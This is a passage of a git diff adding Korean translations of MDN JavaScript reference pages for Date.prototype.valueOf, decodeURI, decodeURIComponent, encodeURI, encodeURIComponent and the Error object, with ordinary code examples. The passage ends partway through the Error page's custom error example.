+<pre class="brush: js">var x = new Date(56, 6, 17);
+var myVar = x.valueOf(); // myVar에 -424713600000를 할당합니다.
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>최초 정의. JavaScript 1.1에서 구현</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.9.5.8', 'Date.prototype.valueOf')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-date.prototype.valueof', 'Date.prototype.valueOf')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-date.prototype.valueof', 'Date.prototype.valueOf')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Date.valueOf")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.valueOf()")}}</li>
+ <li>{{jsxref("Date.prototype.getTime()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/decodeuri/index.html b/files/ko/web/javascript/reference/global_objects/decodeuri/index.html
new file mode 100644
index 0000000000..bb29400506
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/decodeuri/index.html
@@ -0,0 +1,101 @@
+---
+title: decodeURI()
+slug: Web/JavaScript/Reference/Global_Objects/decodeURI
+tags:
+ - 자바스크립트
+translation_of: Web/JavaScript/Reference/Global_Objects/decodeURI
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<p><code><strong>decodeURI()</strong></code> 함수는 {{jsxref("encodeURI")}}이나 비슷한 루틴으로 사전에 만들어진 URI(Uniform Resource Identifier, 인터넷식별자) 를 해독합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/globalprops-decodeuri.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code>decodeURI(<em>encodedURI</em>)</code></pre>
+
+<h3 id="파라미터">파라미터</h3>
+
+<dl>
+ <dt><code>encodedURI</code></dt>
+ <dd>완전하고 암호화된 인터넷식별자(URI)</dd>
+</dl>
+
+<h3 id="리턴_값">리턴 값</h3>
+
+<p>주어진 암호화된 URI의 암호화되지 않은 버전을 나타내는 새 문자열을 반환합니다.</p>
+
+<h3 id="예외">예외</h3>
+
+<p><code><em>encodedURI</em></code>에 유효하지 않은 문자열이 포함된 경우 {{jsxref("URIError")}} ("malformed URI sequence") 예외를 던집니다.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><span id="result_box" lang="ko"><span>암호화된 URI의 각 이스케이프 시퀀스(확장문자열)를 자신을 나타내는 문자로 바꾸지만 {{jsxref ( "encodeURI")}}에서 도입할 수 없었던 이스케이프 시퀀스는 해독하지 않습니다.</span> <span>"#"문자는 이스케이프 시퀀스에서 해독되지 않습니다.</span></span></p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Decoding_a_Cyrillic_URL">Decoding a Cyrillic URL</h3>
+
+<pre class="brush: js">decodeURI('https://developer.mozilla.org/ru/docs/JavaScript_%D1%88%D0%B5%D0%BB%D0%BB%D1%8B');
+// "https://developer.mozilla.org/ru/docs/JavaScript_шеллы"
+</pre>
+
+<h3 id="Catching_errors">Catching errors</h3>
+
+<pre>try {
+ var a = decodeURI('%E0%A4%A');
+} catch(e) {
+ console.error(e);
+}
+
+// URIError: malformed URI sequence</pre>
+
+<h2 id="사양">사양</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES3')}}</td>
+ <td>{{Spec2('ES3')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.1.3.1', 'decodeURI')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-decodeuri-encodeduri', 'decodeURI')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-decodeuri-encodeduri', 'decodeURI')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.decodeURI")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{jsxref("decodeURIComponent")}}</li>
+ <li>{{jsxref("encodeURI")}}</li>
+ <li>{{jsxref("encodeURIComponent")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/decodeuricomponent/index.html b/files/ko/web/javascript/reference/global_objects/decodeuricomponent/index.html
new file mode 100644
index 0000000000..d263252cbf
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/decodeuricomponent/index.html
@@ -0,0 +1,92 @@
+---
+title: decodeURIComponent()
+slug: Web/JavaScript/Reference/Global_Objects/decodeURIComponent
+tags:
+ - JavaScript
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/decodeURIComponent
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<p><code><strong>decodeURIComponent()</strong></code> 함수는 {{jsxref("encodeURIComponent")}} 나 비슷한 방법으로 생성된 Uniform Resource Identifier(URI) 컴포넌트를 해독합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/globalprops-decodeuricomponent.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code>decodeURIComponent(<em>encodedURI</em>)</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>encodedURI</code></dt>
+ <dd>암호화된 Uniform Resource Identifier(URI) 컴포넌트.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>이스케이프되지 않은 특정 글자들 중 새로운 문자열.</p>
+
+<h3 id="예외">예외</h3>
+
+<p><span id="result_box" lang="ko"><span>잘못 사용되었을 경우 {{jsxref ( "URIError")}} ( "</span></span> malformed URI sequence <span lang="ko"><span>") 예외를 발생시킵니다.</span></span></p>
+
+<h2 id="설명">설명</h2>
+
+<p>암호화된 URI 컴포넌트에서 각각의 이스케이프 시퀀스(확장 문자열)를 자신을 나타내는 문자로 바꿉니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="키릴문자_URL_컴포넌트의_복호화">키릴문자 URL 컴포넌트의 복호화</h3>
+
+<pre class="brush: js">decodeURIComponent("JavaScript_%D1%88%D0%B5%D0%BB%D0%BB%D1%8B");
+// "JavaScript_шеллы"
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES3')}}</td>
+ <td>{{Spec2('ES3')}}</td>
+ <td>초기 정의.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.1.3.2', 'decodeURIComponent')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-decodeuricomponent-encodeduricomponent', 'decodeURIComponent')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-decodeuricomponent-encodeduricomponent', 'decodeURIComponent')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.decodeURIComponent")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("decodeURI")}}</li>
+ <li>{{jsxref("encodeURI")}}</li>
+ <li>{{jsxref("encodeURIComponent")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/encodeuri/index.html b/files/ko/web/javascript/reference/global_objects/encodeuri/index.html
new file mode 100644
index 0000000000..c5dff2ed37
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/encodeuri/index.html
@@ -0,0 +1,111 @@
+---
+title: encodeURI()
+slug: Web/JavaScript/Reference/Global_Objects/encodeURI
+tags:
+ - JavaScript
+ - Reference
+ - URI
+ - URL
+translation_of: Web/JavaScript/Reference/Global_Objects/encodeURI
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<p><span class="seoSummary"><code><strong>encodeURI()</strong></code> 함수는 {{glossary("URI")}}의 특정한 문자를 UTF-8로 인코딩해 하나, 둘, 셋, 혹은 네 개의 연속된 이스케이프 문자로 나타냅니다.</span> (두 개의 대리 문자로 이루어진 문자만 이스케이프 문자 네 개로 변환됩니다.)</p>
+
+<div>{{EmbedInteractiveExample("pages/js/globalprops-encodeuri.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code>encodeURI(<em>URI</em>)</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>URI</code></dt>
+ <dd>완전한 URI.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 문자열을 URI로서 인코딩한 새로운 문자열.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><span id="result_box" lang="ko"><span><code>encodeURI()</code> 함수는 URI에서 특별한 뜻을 가진 문자(예약 문자)는 인코딩 하지 않습니다. 아래 예제는 "URI 도식"이 포함할 수 있는 모든 부분을 담고 있습니다. 일부 문자가 어떤 방식으로 특별한 의미를 주입하고 있는지 잘 살펴보세요.</span></span></p>
+
+<pre>http://username:password@www.example.com:80/path/to/file.php?foo=316&amp;bar=this+has+spaces#anchor</pre>
+
+<p><span id="result_box" lang="ko"><span>따라서 <code>encodeURI()</code>는 완전한 URI를 형성하는데 필요한 문자는 인코딩 <strong>하지 않습니다</strong>.</span> <span>또한, 예약된 목적을 가지지는 않지만 URI가 그대로 포함할 수 있는 몇 가지 문자("비예약 표식")도 인코딩 <strong>하지 않습니다</strong>. (<a href="https://www.ietf.org/rfc/rfc2396.txt">RFC 2396</a>을 참고하세요)</span></span></p>
+
+<p><code>encodeURI()</code> 는 다음 문자를 <strong>제외</strong>한 문자를 이스케이프 합니다.</p>
+
+<pre><strong><code>이스케이프 하지 않는 문자</code></strong>:
+
+ A-Z a-z 0-9 ; , / ? : @ &amp; = + $ - _ . ! ~ * ' ( ) #<code>
+</code>
+</pre>
+
+<p><code>encodeURI()</code>와 {{jsxref("encodeURIComponent", "encodeURIComponent()")}}의 차이는 다음과 같습니다.</p>
+
+<pre class="brush: js">var set1 = ";,/?:@&amp;=+$#"; // 예약 문자
+var set2 = "-_.!~*'()"; // 비예약 표식
+var set3 = "ABC abc 123"; // 알파벳 및 숫자, 공백
+
+console.log(encodeURI(set1)); // ;,/?:@&amp;=+$#
+console.log(encodeURI(set2)); // -_.!~*'()
+console.log(encodeURI(set3)); // ABC%20abc%20123 (공백은 %20으로 인코딩)
+
+console.log(encodeURIComponent(set1)); // %3B%2C%2F%3F%3A%40%26%3D%2B%24%23
+console.log(encodeURIComponent(set2)); // -_.!~*'()
+console.log(encodeURIComponent(set3)); // ABC%20abc%20123 (공백은 %20으로 인코딩)
+
+</pre>
+
+<p><code>encodeURI()</code> 혼자서는 {{domxref("XMLHttpRequest")}} 등이 사용할, 적합한 HTTP {{httpmethod("GET")}}과 {{httpmethod("POST")}} 요청을 구성할 수 없습니다. <code>GET</code>과 <code>POST</code>에서 특별한 문자로 취급하는 <code>"&amp;"</code>, <code>"+"</code>, <code>"="</code>를 인코딩 하지 않기 때문입니다. 그러나 <code>encodeURIComponent()</code>는 저 세 문자도 인코딩 대상에 포함합니다.</p>
+
+<p><span id="result_box" lang="ko"><span>상위-하위 쌍을 이루지 않은 단일 대리 문자를 인코딩 시도하면 {{jsxref("URIError")}}가 발생합니다.</span></span></p>
+
+<pre class="brush: js">// high-low pair ok
+console.log(encodeURIComponent('\uD800\uDFFF'));
+
+// lone high surrogate throws "URIError: malformed URI sequence"
+console.log(encodeURIComponent('\uD800'));
+
+// lone low surrogate throws "URIError: malformed URI sequence"
+console.log(encodeURIComponent('\uDFFF'));
+</pre>
+
+<p>또한, URL의 보다 최신 RFC인 <a href="http://tools.ietf.org/html/rfc3986">RFC3986</a>을 따르고자 한다면, 대괄호가 {{glossary("IPv6")}} 지원을 위해 추가로 예약됨에 따라 <code>encodeURI()</code>가 인코딩하지 않으므로 URL을 생성할 때 주의해야 합니다. 다음 예시 코드가 도움이 될 수도 있습니다.</p>
+
+<pre class="brush: js">function fixedEncodeURI(str) {
+ return encodeURI(str).replace(/%5B/g, '[').replace(/%5D/g, ']');
+}</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-encodeuri-uri', 'encodeURI')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.encodeURI")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("decodeURI")}}</li>
+ <li>{{jsxref("encodeURIComponent")}}</li>
+ <li>{{jsxref("decodeURIComponent")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/encodeuricomponent/index.html b/files/ko/web/javascript/reference/global_objects/encodeuricomponent/index.html
new file mode 100644
index 0000000000..191f66b198
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/encodeuricomponent/index.html
@@ -0,0 +1,148 @@
+---
+title: encodeURIComponent()
+slug: Web/JavaScript/Reference/Global_Objects/encodeURIComponent
+tags:
+ - JavaScript
+ - Reference
+ - URI
+translation_of: Web/JavaScript/Reference/Global_Objects/encodeURIComponent
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<p><span class="seoSummary"><code><strong>encodeURIComponent()</strong></code> 함수는 {{glossary("URI")}}의 특정한 문자를 UTF-8로 인코딩해 하나, 둘, 셋, 혹은 네 개의 연속된 이스케이프 문자로 나타냅니다.</span> (두 개의 대리 문자로 이루어진 문자만 이스케이프 문자 네 개로 변환됩니다.)</p>
+
+<div>{{EmbedInteractiveExample("pages/js/globalprops-encodeuricomponent.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">encodeURIComponent(<em>str</em>);</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>str</code></dt>
+ <dd>URI 구성요소.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 문자열을 URI 구성요소로서 인코딩한 새로운 문자열.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>encodeURIComponent()</code>는 다음 문자를 <strong>제외</strong>한 문자를 이스케이프 합니다.</p>
+
+<pre><strong><code>N</code>ot Escaped</strong>:
+
+ A-Z a-z 0-9 <code>-</code> <code>_</code> <code>.</code> <code>!</code> <code>~</code> <code>*</code> <code>'</code> <code>(</code> <code>)
+</code>
+</pre>
+
+<p><code>encodeURIComponent()</code>와 {{jsxref("encodeURI", "encodeURI()")}}의 차이는 다음과 같습니다.</p>
+
+<pre class="brush: js">var set1 = ";,/?:@&amp;=+$"; // Reserved Characters
+var set2 = "-_.!~*'()"; // Unescaped Characters
+var set3 = "#"; // Number Sign
+var set4 = "ABC abc 123"; // Alphanumeric Characters + Space
+
+console.log(encodeURI(set1)); // ;,/?:@&amp;=+$
+console.log(encodeURI(set2)); // -_.!~*'()
+console.log(encodeURI(set3)); // #
+console.log(encodeURI(set4)); // ABC%20abc%20123 (the space gets encoded as %20)
+
+console.log(encodeURIComponent(set1)); // %3B%2C%2F%3F%3A%40%26%3D%2B%24
+console.log(encodeURIComponent(set2)); // -_.!~*'()
+console.log(encodeURIComponent(set3)); // %23
+console.log(encodeURIComponent(set4)); // ABC%20abc%20123 (the space gets encoded as %20)
+</pre>
+
+<p><span id="result_box" lang="ko"><span>상위-하위 쌍을 이루지 않은 단일 대리 문자를 인코딩 시도하면 {{jsxref("URIError")}}가 발생합니다.</span></span></p>
+
+<pre class="brush: js">// high-low pair ok
+console.log(encodeURIComponent('\uD800\uDFFF'));
+
+// lone high surrogate throws "URIError: malformed URI sequence"
+console.log(encodeURIComponent('\uD800'));
+
+// lone low surrogate throws "URIError: malformed URI sequence"
+console.log(encodeURIComponent('\uDFFF'));
+</pre>
+
+<p><code>encodeURIComponent()</code>를 사용해, 서버에 {{HTTPMethod("POST")}}로 요청할 양식 필드를 인코딩 하세요. 입력 중 의도치 않게 생성될 수 있는 HTML 특수 개체 등의 <code>"&amp;"</code> 문자를 처리할 수 있습니다.</p>
+
+<p>예를 들어 사용자가 입력한 <code>"Jack &amp; Jill"</code>은 <code>"Jack &amp;amp; Jill"</code>로 인코딩 됩니다. <code>encodeURIComponent()</code>를 사용하지 않았다면 서버가 앰퍼샌드를 새로운 필드의 시작으로 인식할 수 있으므로 데이터의 무결성을 해칠 수 있습니다.</p>
+
+<p><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/association-of-controls-and-forms.html#application/x-www-form-urlencoded-encoding-algorithm"><code>application/x-www-form-urlencoded</code></a>의 스페이스는 <code>"+"</code>로 치환되어야 하므로, <code>encodeURIComponent()</code>의 결과에 추가로 <code>"%20"</code>을 <code>"+"</code>로 바꾸세요.</p>
+
+<p>비록 URI의 구분자로서 형식화된 사용처는 없지만, 그럼에도 <code>!</code>, <code>'</code>, <code>(</code>, <code>)</code>, <code>*</code>을 추가로 예약하는 <a class="external" href="http://tools.ietf.org/html/rfc3986">RFC 3986</a>을 엄격하게 따르려면 아래의 코드를 사용해보세요.</p>
+
+<pre class="brush: js">function fixedEncodeURIComponent(str) {
+ return encodeURIComponent(str).replace(/[!'()*]/g, function(c) {
+ return '%' + c.charCodeAt(0).toString(16);
+ });
+}
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 예제는 UTF-8 {{HTTPHeader("Content-Disposition")}} 과{{HTTPHeader("Link")}} 서버 응답 헤더에서 (UTF-8 파일 이름 등의 이유로) 필요한 문자 인코딩 방법을 보입니다.</p>
+
+<pre class="brush: js">var fileName = 'my file(2).txt';
+var header = "Content-Disposition: attachment; filename*=UTF-8''"
+ + encodeRFC5987ValueChars(fileName);
+
+console.log(header);
+// logs "Content-Disposition: attachment; filename*=UTF-8''my%20file%282%29.txt"
+
+
+function encodeRFC5987ValueChars(str) {
+ return encodeURIComponent(str).
+ // Note that although RFC3986 reserves "!", RFC5987 does not,
+ // so we do not need to escape it
+ replace(/['()]/g, escape). // i.e., %27 %28 %29
+ replace(/\*/g, '%2A').
+ // The following are not required for percent-encoding per RFC5987,
+ // so we can allow for a little better readability over the wire: |`^
+ replace(/%(?:7C|60|5E)/g, unescape);
+}
+
+// here is an alternative to the above function
+function encodeRFC5987ValueChars2(str) {
+ return encodeURIComponent(str).
+ // Note that although RFC3986 reserves "!", RFC5987 does not,
+ // so we do not need to escape it
+ replace(/['()*]/g, c =&gt; "%" + c.charCodeAt(0).toString(16)). // i.e., %27 %28 %29 %2a (Note that valid encoding of "*" is %2A
+ // which necessitates calling toUpperCase() to properly encode)
+ // The following are not required for percent-encoding per RFC5987,
+ // so we can allow for a little better readability over the wire: |`^
+ replace(/%(7C|60|5E)/g, (str, hex) =&gt; String.fromCharCode(parseInt(hex, 16)));
+}</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-encodeuricomponent-uricomponent', 'encodeURIComponent')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.encodeURIComponent")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("decodeURI")}}</li>
+ <li>{{jsxref("encodeURI")}}</li>
+ <li>{{jsxref("decodeURIComponent")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/error/index.html b/files/ko/web/javascript/reference/global_objects/error/index.html
new file mode 100644
index 0000000000..986cb5afa0
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/error/index.html
@@ -0,0 +1,240 @@
+---
+title: Error
+slug: Web/JavaScript/Reference/Global_Objects/Error
+tags:
+ - Error
+ - JavaScript
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Error
+---
+<div>{{JSRef}}</div>
+
+<p><span class="seoSummary"><strong><code>Error</code></strong> 생성자는 오류 객체를 생성합니다.</span> <code>Error</code> 객체의 인스턴스는 런타임 오류가 발생했을 때 던져집니다. <code>Error</code> 객체를 사용자 지정 예외의 기반 객체로 사용할 수도 있습니다.</p>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="syntaxbox">new Error([<em>message</em>[, <em>fileName</em>[, <em>lineNumber</em>]]])</pre>
+
+<h3 id="Parameters" name="Parameters">매개변수</h3>
+
+<dl>
+ <dt><code>message</code> {{optional_inline}}</dt>
+ <dd>사람이 읽을 수 있는, 오류에 대한 설명.</dd>
+ <dt><code>fileName</code> {{optional_inline}} {{non-standard_inline}}</dt>
+ <dd>생성할 <code>Error</code> 객체의 <code>fileName</code> 속성 값. 기본값은 <code>Error</code> 생성자를 호출한 코드를 포함하고 있는 파일의 이름입니다.</dd>
+ <dt><code>lineNumber</code> {{optional_inline}} {{non-standard_inline}}</dt>
+ <dd>생성할 <code>Error</code> 객체의 <code>lineNumber</code> 속성 값. 기본값은 <code>Error</code> 생성자 호출을 포함한 줄 번호입니다.</dd>
+</dl>
+
+<h2 id="Description" name="Description">설명</h2>
+
+<p>런타임 오류는 새로운 <code>Error</code> 객체를 생성하고 던집니다.</p>
+
+<p>이 페이지는 <code>Error</code> 오브젝트 자체와, 생성자 함수로서의 사용처를 다룹니다. <code>Error</code> 인스턴스가 상속하는 속성과 메서드는 {{jsxref("Error.prototype")}}을 참고하세요.</p>
+
+<h3 id="함수로_사용">함수로 사용</h3>
+
+<p><code>Error</code>를 {{jsxref("Operators/new", "new")}} 없이 함수로 사용하면 <code>Error</code> 객체를 반환합니다. 즉 <code>Error</code>를 직접 호출해도 인스턴스를 만드는 것과 동일한 결과를 얻을 수 있습니다.</p>
+
+<pre class="brush: js">// 이렇게 호출하는 것과
+const x = Error('I was created using a function call!');
+​​​​// 이렇게 사용하는게 동일
+const y = new Error('I was constructed via the "new" keyword!');
+</pre>
+
+<h3 id="Error_types" name="Error_types">오류 유형</h3>
+
+<p>JavaScript에는 일반적인 <code>Error</code> 생성자 외에도 7개의 중요 오류 생성자가 존재합니다. 클라이언트측 예외에 대해서는 <a href="/ko/docs/Web/JavaScript/Guide/Control_flow_and_error_handling#예외처리문">제어 흐름과 에러 처리</a>를 참고하세요.</p>
+
+<dl>
+ <dt>{{jsxref("EvalError")}}</dt>
+ <dd>전역 함수 {{jsxref("eval", "eval()")}}에서 발생하는 오류의 인스턴스를 생성합니다.</dd>
+ <dt>{{jsxref("InternalError")}} {{non-standard_inline}}</dt>
+ <dd>JavaScript 엔진의 내부에서 오류가 발생했음을 나타내는 오류 인스턴스를 생성합니다.</dd>
+ <dt>{{jsxref("RangeError")}}</dt>
+ <dd>숫자 변수나 매개변수가 유효한 범위를 벗어났음을 나타내는 오류 인스턴스를 생성합니다.</dd>
+ <dt>{{jsxref("ReferenceError")}}</dt>
+ <dd>잘못된 참조를 했음을 나타내는 오류 인스턴스를 생성합니다.</dd>
+ <dt>{{jsxref("SyntaxError")}}</dt>
+ <dd>{{jsxref("eval", "eval()")}}이 코드를 분석하는 중 잘못된 구문을 만났음을 나타내는 오류 인스턴스를 생성합니다.</dd>
+ <dt>{{jsxref("TypeError")}}</dt>
+ <dd>변수나 매개변수가 유효한 자료형이 아님을 나타내는 오류 인스턴스를 생성합니다.</dd>
+ <dt>{{jsxref("URIError")}}</dt>
+ <dd>{{jsxref("encodeURI", "encodeURI()")}}나 {{jsxref("decodeURI", "decodeURl()")}} 함수에 부적절한 매개변수를 제공했을 때 발생하는 오류의 인스턴스를 생성합니다.</dd>
+</dl>
+
+<h2 id="Properties" name="Properties">속성</h2>
+
+<dl>
+ <dt>{{jsxref("Error.prototype")}}</dt>
+ <dd><code>Error</code> 인스턴스에 속성을 추가할 수 있습니다.</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">메서드</h2>
+
+<p>전역 <code>Error</code> 객체는 자신의 메서드를 가지지 않습니다. 그러나 프로토타입 체인을 통해 일부 메서드를 상속받습니다.</p>
+
+<h2 id="Error_instances" name="Error_instances"><code>Error</code> 인스턴스</h2>
+
+<div>{{page('ko/docs/Web/JavaScript/Reference/Global_Objects/Error/prototype', '설명')}}</div>
+
+<h3 id="속성">속성</h3>
+
+<div>{{page('ko/docs/Web/JavaScript/Reference/Global_Objects/Error/prototype', '속성')}}</div>
+
+<h3 id="메서드">메서드</h3>
+
+<div>{{page('ko/docs/Web/JavaScript/Reference/Global_Objects/Error/prototype', '메서드')}}</div>
+
+<h2 id="Examples" name="Examples">예제</h2>
+
+<h3 id="Example:_Throwing_a_generic_error" name="Example:_Throwing_a_generic_error">일반적인 오류 던지기</h3>
+
+<p><code>Error</code> 객체를 생성한 후엔 대개 {{jsxref("Statements/throw", "throw")}} 키워드를 이용해 던집니다. {{jsxref("Statements/try...catch", "try...catch")}} 구문을 이용하여 오류를 처리할 수 있습니다.</p>
+
+<pre class="brush: js">try {
+ throw new Error("이런!");
+} catch (e) {
+ alert(e.name + ": " + e.message);
+}
+</pre>
+
+<h3 id="Example:_Handling_a_specific_error" name="Example:_Handling_a_specific_error">특정 오류 처리하기</h3>
+
+<p><span class="comment">this should probably be removed</span>오류의 {{jsxref("Object.prototype.constructor", "constructor")}} 속성을 판별해 특정 오류에 대해서만 처리를 할 수 있습니다. 현대적인 JavaScript 엔진의 코드를 작성한다면 {{jsxref("Operators/instanceof", "instanceof")}} 키워드를 이용할 수도 있습니다.</p>
+
+<pre class="brush: js">try {
+ foo.bar();
+} catch (e) {
+ if (e instanceof EvalError) {
+ alert(e.name + ": " + e.message);
+ } else if (e instanceof RangeError) {
+ alert(e.name + ": " + e.message);
+ }
+ // ... etc
+}
+</pre>
+
+<h3 id="사용자_정의_에러_타입">사용자 정의 에러 타입</h3>
+
+<p><code>throw new MyError()</code> 이후 <code>instanceof MyError</code>로 직접 만든 오류를 판별할 수 있도록 <code>Error</code>의 파생 오류 정의를 고려해보세요. 더 깔끔하고 일관적인 오류 처리 코드를 작성할 수 있습니다. StackOverflow의 <a href="http://stackoverflow.com/questions/1382107/whats-a-good-way-to-extend-error-in-javascript">"What's a good way to extend Error in JavaScript?"</a>를 방문해 심도 있는 논의를 읽어보세요.</p>
+
+<h4 id="ES6_사용자_정의_오류_클래스">ES6 사용자 정의 오류 클래스</h4>
+
+<div class="warning">
+<p>Babel 버전 7 미만으로 사용자 정의 오류 클래스를 처리하려면 {{jsxref("Object.defineProperty()")}} 메서드를 사용해 정의해야만 합니다. 그렇지 않으면 오래된 Babel 및 다른 트랜스파일러가 <a href="https://github.com/loganfsmyth/babel-plugin-transform-builtin-extend">추가 설정</a> 없이 코드를 처리할 수 없습니다.</p>
+</div>
+
+<div class="note">
+<p>ES2015 클래스를 사용할 때, 일부 브라우저는 <code>CustomError</code> 생성자를 스택 트레이스에 포함합니다.</p>
+</div>
+
+<pre class="brush: js">class CustomError extends Error {
+ constructor(foo = 'bar', ...params) {
+ // Pass remaining arguments (including vendor specific ones) to parent constructor
+ super(...params);
+
+ // Maintains proper stack trace for where our error was thrown (only available on V8)
+ if (Error.captureStackTrace) {
+ Error.captureStackTrace(this, CustomError);
+ }
+
+ // Custom debugging information
+ this.foo = foo;
+ this.date = new Date();
+ }
+}
+
+try {
+ throw new CustomError('baz', 'bazMessage');
+} catch(e){
+ console.log(e.foo); //baz
+ console.log(e.message); //bazMessage
+ console.log(e.stack); //stacktrace
+}</pre>
+
+<h4 id="ES5_사용자_정의_오류_객체">ES5 사용자 정의 오류 객체</h4>
+
+<div class="warning">
+<p>프로토타입 선언을 사용하면 모든 브라우저가 <code>CustomError</code> 생성자를 스택 트레이스에 포함합니다.</p>
+</div>
+
+<pre class="brush: js">function CustomError(foo, message, fileName, lineNumber) {
+ var instance = new Error(message, fileName, lineNumber);
+ instance.foo = foo;
+ Object.setPrototypeOf(instance, Object.getPrototypeOf(this));
+ if (Error.captureStackTrace) {
+ Error.captureStackTrace(instance, CustomError);
+ }
+ return instance;
+}
+
+CustomError.prototype = Object.create(Error.prototype, {
+ constructor: {
+ value: Error,
+ enumerable: false,
+ writable: true,
+ configurable: true
+ }
+});
+
+if (Object.setPrototypeOf){
+ Object.setPrototypeOf(CustomError, Error);
+} else {
